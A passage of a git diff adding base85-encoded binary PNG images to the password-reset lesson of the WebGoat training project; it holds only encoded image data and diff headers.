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 D0!{Dt literal 0 HcmV?d00001 diff --git a/webgoat-lessons/password-reset/src/main/resources/images/reset2.png b/webgoat-lessons/password-reset/src/main/resources/images/reset2.png new file mode 100644 index 0000000000000000000000000000000000000000..3c94b01b57447cbd49a4cc4ba0a72953a3dd2ff8 GIT binary patch literal 20799 zcmeFZcT`l(*CyJCz^f>{NCt&h5Rfc6gG$ahwt(aek~6I!L85@mKlg_>_Sg_`!95tEltWUw^^Z)K`I9Di2u$4{aA~4{tL!E0B|! zhZU#0g`1U?v%9T}$6)f25(xAUNKxjEj!!0P+4r5!IcDIPSixq-`pTG^KiM>xBKNtQ zv6hUhVp;F-X4^74i7pOMs3oHdJS!#pKfOrAiWcJT@fgs>YicUp|6f7>$Jj)xa2qh_|CsX@ zzF;aUG#Pufl{%LH(x|f}t_CZO$)=Il#}|I0NnVP#O(8DntgqLYvtoUNAt!00sU-Nw zm>IZzT&F3*z@Rjb4&Ua5ZC5kG-k9 ziQxL!YWz~2o4m`gxJ*M=wZ>t^#q%5Y=?lvlFU^m8ugV|J@HU74ln(e-E-pP?ZV$(8 z*(f~B67=gQ$@sRn1*_QpSZy3~D}LrzWj@YBrA4ZaLNxe#XL=S?GS(v&7VKrExaG+n z2|on-Y9)DB+|}2s4H8s2&d?*<)M*wBDee*|_OFANc!+kE)IbIc?g$_}o108LB6v~) z1C@r})t56(OSYlye~|*}Z0Y3xw2>U`QbA7A$6`L7PF~}|eJBXYLYQt(Jo2u`NFcA) z=v~xfJ}UhUc%hbM{;m*84(d5h^P6xN&#K?SU0jy7E#c=bVbPDYIbryv5C1g!0c2cJ zM`*OrShO;r`n!D7Ma61hIkfcQQoKrkbnn&GOf*NqBuAuPiTCL-;o0RZVx3G-TW+eg 